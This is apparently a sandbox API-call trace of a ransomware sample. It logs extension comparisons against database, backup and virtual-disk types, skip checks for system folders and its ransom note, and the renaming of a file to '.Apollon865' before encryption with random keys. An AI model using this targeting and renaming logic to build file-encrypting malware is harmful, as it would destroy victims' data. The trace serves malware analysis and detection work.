	[0081.906] lstrlenW (lpString="adp") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.906] lstrlenW (lpString="alf") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.906] lstrlenW (lpString="ask") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.906] lstrlenW (lpString="btr") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.906] lstrlenW (lpString="cat") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.906] lstrlenW (lpString="cdb") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.906] lstrlenW (lpString="ckp") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.906] lstrlenW (lpString="cma") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.906] lstrlenW (lpString="cpd") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.906] lstrlenW (lpString="dacpac") returned 6
	[0081.906] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.906] lstrlenW (lpString="dad") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.906] lstrlenW (lpString="dadiagrams") returned 10
	[0081.906] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0081.906] lstrlenW (lpString="daschema") returned 8
	[0081.906] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.906] lstrlenW (lpString="db-journal") returned 10
	[0081.906] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0081.907] lstrlenW (lpString="db-shm") returned 6
	[0081.907] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.907] lstrlenW (lpString="db-wal") returned 6
	[0081.907] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.907] lstrlenW (lpString="dbc") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.907] lstrlenW (lpString="dbs") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.907] lstrlenW (lpString="dbt") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.907] lstrlenW (lpString="dbv") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.907] lstrlenW (lpString="dbx") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.907] lstrlenW (lpString="dcb") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.907] lstrlenW (lpString="dct") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.907] lstrlenW (lpString="dcx") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.907] lstrlenW (lpString="ddl") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.907] lstrlenW (lpString="dlis") returned 4
	[0081.907] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.907] lstrlenW (lpString="dp1") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.907] lstrlenW (lpString="dqy") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.907] lstrlenW (lpString="dsk") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.907] lstrlenW (lpString="dsn") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.907] lstrlenW (lpString="dtsx") returned 4
	[0081.907] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.907] lstrlenW (lpString="dxl") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.907] lstrlenW (lpString="eco") returned 3
	[0081.907] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.908] lstrlenW (lpString="ecx") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.908] lstrlenW (lpString="edb") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.908] lstrlenW (lpString="epim") returned 4
	[0081.908] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.908] lstrlenW (lpString="fcd") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.908] lstrlenW (lpString="fdb") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.908] lstrlenW (lpString="fic") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.908] lstrlenW (lpString="flexolibrary") returned 12
	[0081.908] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0081.908] lstrlenW (lpString="fm5") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.908] lstrlenW (lpString="fmp") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.908] lstrlenW (lpString="fmp12") returned 5
	[0081.908] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.908] lstrlenW (lpString="fmpsl") returned 5
	[0081.908] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.908] lstrlenW (lpString="fol") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.908] lstrlenW (lpString="fp3") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.908] lstrlenW (lpString="fp4") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.908] lstrlenW (lpString="fp5") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.908] lstrlenW (lpString="fp7") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.908] lstrlenW (lpString="fpt") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.908] lstrlenW (lpString="frm") returned 3
	[0081.908] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.908] lstrlenW (lpString="gdb") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.909] lstrlenW (lpString="gdb") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.909] lstrlenW (lpString="grdb") returned 4
	[0081.909] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.909] lstrlenW (lpString="gwi") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.909] lstrlenW (lpString="hdb") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.909] lstrlenW (lpString="his") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.909] lstrlenW (lpString="ib") returned 2
	[0081.909] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.909] lstrlenW (lpString="idb") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.909] lstrlenW (lpString="ihx") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.909] lstrlenW (lpString="itdb") returned 4
	[0081.909] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.909] lstrlenW (lpString="itw") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.909] lstrlenW (lpString="jet") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.909] lstrlenW (lpString="jtx") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.909] lstrlenW (lpString="kdb") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.909] lstrlenW (lpString="kexi") returned 4
	[0081.909] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.909] lstrlenW (lpString="kexic") returned 5
	[0081.909] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.909] lstrlenW (lpString="kexis") returned 5
	[0081.909] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.909] lstrlenW (lpString="lgc") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.909] lstrlenW (lpString="lwx") returned 3
	[0081.909] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.909] lstrlenW (lpString="maf") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.910] lstrlenW (lpString="maq") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.910] lstrlenW (lpString="mar") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.910] lstrlenW (lpString="marshal") returned 7
	[0081.910] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.910] lstrlenW (lpString="mas") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.910] lstrlenW (lpString="mav") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.910] lstrlenW (lpString="maw") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.910] lstrlenW (lpString="mdbhtml") returned 7
	[0081.910] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.910] lstrlenW (lpString="mdn") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.910] lstrlenW (lpString="mdt") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.910] lstrlenW (lpString="mfd") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.910] lstrlenW (lpString="mpd") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.910] lstrlenW (lpString="mrg") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.910] lstrlenW (lpString="mud") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.910] lstrlenW (lpString="mwb") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.910] lstrlenW (lpString="myd") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.910] lstrlenW (lpString="ndf") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.910] lstrlenW (lpString="nnt") returned 3
	[0081.910] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.910] lstrlenW (lpString="nrmlib") returned 6
	[0081.911] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.911] lstrlenW (lpString="ns2") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.911] lstrlenW (lpString="ns3") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.911] lstrlenW (lpString="ns4") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.911] lstrlenW (lpString="nsf") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.911] lstrlenW (lpString="nv") returned 2
	[0081.911] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.911] lstrlenW (lpString="nv2") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.911] lstrlenW (lpString="nwdb") returned 4
	[0081.911] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.911] lstrlenW (lpString="nyf") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.911] lstrlenW (lpString="odb") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.911] lstrlenW (lpString="odb") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.911] lstrlenW (lpString="oqy") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.911] lstrlenW (lpString="ora") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.911] lstrlenW (lpString="orx") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.911] lstrlenW (lpString="owc") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.911] lstrlenW (lpString="p96") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.911] lstrlenW (lpString="p97") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.911] lstrlenW (lpString="pan") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.911] lstrlenW (lpString="pdb") returned 3
	[0081.911] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.912] lstrlenW (lpString="pdm") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.912] lstrlenW (lpString="pnz") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.912] lstrlenW (lpString="qry") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.912] lstrlenW (lpString="qvd") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.912] lstrlenW (lpString="rbf") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.912] lstrlenW (lpString="rctd") returned 4
	[0081.912] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.912] lstrlenW (lpString="rod") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.912] lstrlenW (lpString="rodx") returned 4
	[0081.912] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.912] lstrlenW (lpString="rpd") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.912] lstrlenW (lpString="rsd") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.912] lstrlenW (lpString="sas7bdat") returned 8
	[0081.912] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.912] lstrlenW (lpString="sbf") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.912] lstrlenW (lpString="scx") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.912] lstrlenW (lpString="sdb") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.912] lstrlenW (lpString="sdc") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.912] lstrlenW (lpString="sdf") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.912] lstrlenW (lpString="sis") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.912] lstrlenW (lpString="spq") returned 3
	[0081.912] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.912] lstrlenW (lpString="te") returned 2
	[0081.912] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.913] lstrlenW (lpString="teacher") returned 7
	[0081.913] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.913] lstrlenW (lpString="tmd") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.913] lstrlenW (lpString="tps") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.913] lstrlenW (lpString="trc") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.913] lstrlenW (lpString="trc") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.913] lstrlenW (lpString="trm") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.913] lstrlenW (lpString="udb") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.913] lstrlenW (lpString="udl") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.913] lstrlenW (lpString="usr") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.913] lstrlenW (lpString="v12") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.913] lstrlenW (lpString="vis") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.913] lstrlenW (lpString="vpd") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.913] lstrlenW (lpString="vvv") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.913] lstrlenW (lpString="wdb") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.913] lstrlenW (lpString="wmdb") returned 4
	[0081.913] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.913] lstrlenW (lpString="wrk") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.913] lstrlenW (lpString="xdb") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.913] lstrlenW (lpString="xld") returned 3
	[0081.913] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.913] lstrlenW (lpString="xmlff") returned 5
	[0081.914] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.914] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.Apollon865") returned 84
	[0081.914] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.915] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.915] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=360288) returned 1
	[0081.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.916] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.925] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.925] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.925] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x58260, lpName=0x0) returned 0x15c
	[0081.927] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x58260) returned 0x210000
	[0082.001] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.001] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.001] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0082.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0082.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.002] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0082.005] CloseHandle (hObject=0x15c) returned 1
	[0082.006] CloseHandle (hObject=0x9c) returned 1
	[0082.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.007] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94d0df00, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x94d0df00, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1
	[0082.007] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.007] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.007] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".") returned 1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="..") returned 1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="windows") returned -1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="temp") returned -1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="boot") returned 1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="perflogs") returned 1
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0082.008] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0082.008] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned 73
	[0082.008] lstrcpyW (in: lpString1=0x119e670, lpString2="SGRES.DLL.trx_dll" | out: lpString1="SGRES.DLL.trx_dll") returned="SGRES.DLL.trx_dll"
	[0082.008] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0082.008] lstrlenW (lpString="Apollon865") returned 10
	[0082.008] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.008] lstrlenW (lpString=".dll") returned 4
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.008] lstrlenW (lpString=".lnk") returned 4
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.008] lstrlenW (lpString=".ini") returned 4
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.008] lstrlenW (lpString=".sys") returned 4
	[0082.008] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.008] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0082.008] lstrlenW (lpString="bak") returned 3
	[0082.008] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.008] lstrlenW (lpString="ba_") returned 3
	[0082.008] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.008] lstrlenW (lpString="dbb") returned 3
	[0082.008] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.008] lstrlenW (lpString="vmdk") returned 4
	[0082.008] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.008] lstrlenW (lpString="rar") returned 3
	[0082.008] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.008] lstrlenW (lpString="zip") returned 3
	[0082.008] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.008] lstrlenW (lpString="tgz") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.009] lstrlenW (lpString="vbox") returned 4
	[0082.009] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.009] lstrlenW (lpString="vdi") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.009] lstrlenW (lpString="vhd") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.009] lstrlenW (lpString="vhdx") returned 4
	[0082.009] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.009] lstrlenW (lpString="avhd") returned 4
	[0082.009] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.009] lstrlenW (lpString="db") returned 2
	[0082.009] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.009] lstrlenW (lpString="db2") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.009] lstrlenW (lpString="db3") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.009] lstrlenW (lpString="dbf") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.009] lstrlenW (lpString="mdf") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.009] lstrlenW (lpString="mdb") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.009] lstrlenW (lpString="sql") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.009] lstrlenW (lpString="sqlite") returned 6
	[0082.009] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.009] lstrlenW (lpString="sqlite3") returned 7
	[0082.009] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.009] lstrlenW (lpString="sqlitedb") returned 8
	[0082.009] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.009] lstrlenW (lpString="xml") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
